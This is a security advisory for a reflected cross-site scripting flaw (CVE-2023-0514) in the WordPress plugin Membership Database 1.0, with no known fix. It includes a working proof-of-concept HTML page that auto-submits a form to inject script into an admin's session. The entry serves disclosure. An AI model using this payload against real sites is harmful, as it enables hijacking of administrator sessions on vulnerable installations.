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Membership Database <= 1.0 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=member-database%2Flist_members.php" method="POST">
      <input type="hidden" name="action" value="sort" />
      <input type="hidden" name="where" value="id" />
      <input type="hidden" name="operator" value="&#61;" />
      <input type="hidden" name="value" value="asd&quot;&lt;&#47;script&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;&#47;&#47;" />
      <input type="hidden" name="sortBy" value="id" />
      <input type="hidden" name="ascdesc" value="asc" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

member-database
No known fix

References

CVE
CVE-2023-0514

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Shreya Pohekar

Submitter

Shreya Pohekar

Submitter website
https://shreyapohekar.com
Submitter twitter
shreyapohekar
Verified

Yes

WPVDB ID
c6cc400a-9bfb-417d-9206-5582a49d0f05

Timeline

Publicly Published

2023-04-17 (about 1 months ago)

Added

2023-04-17 (about 1 months ago)

Last Updated

2023-04-17 (about 1 months ago)

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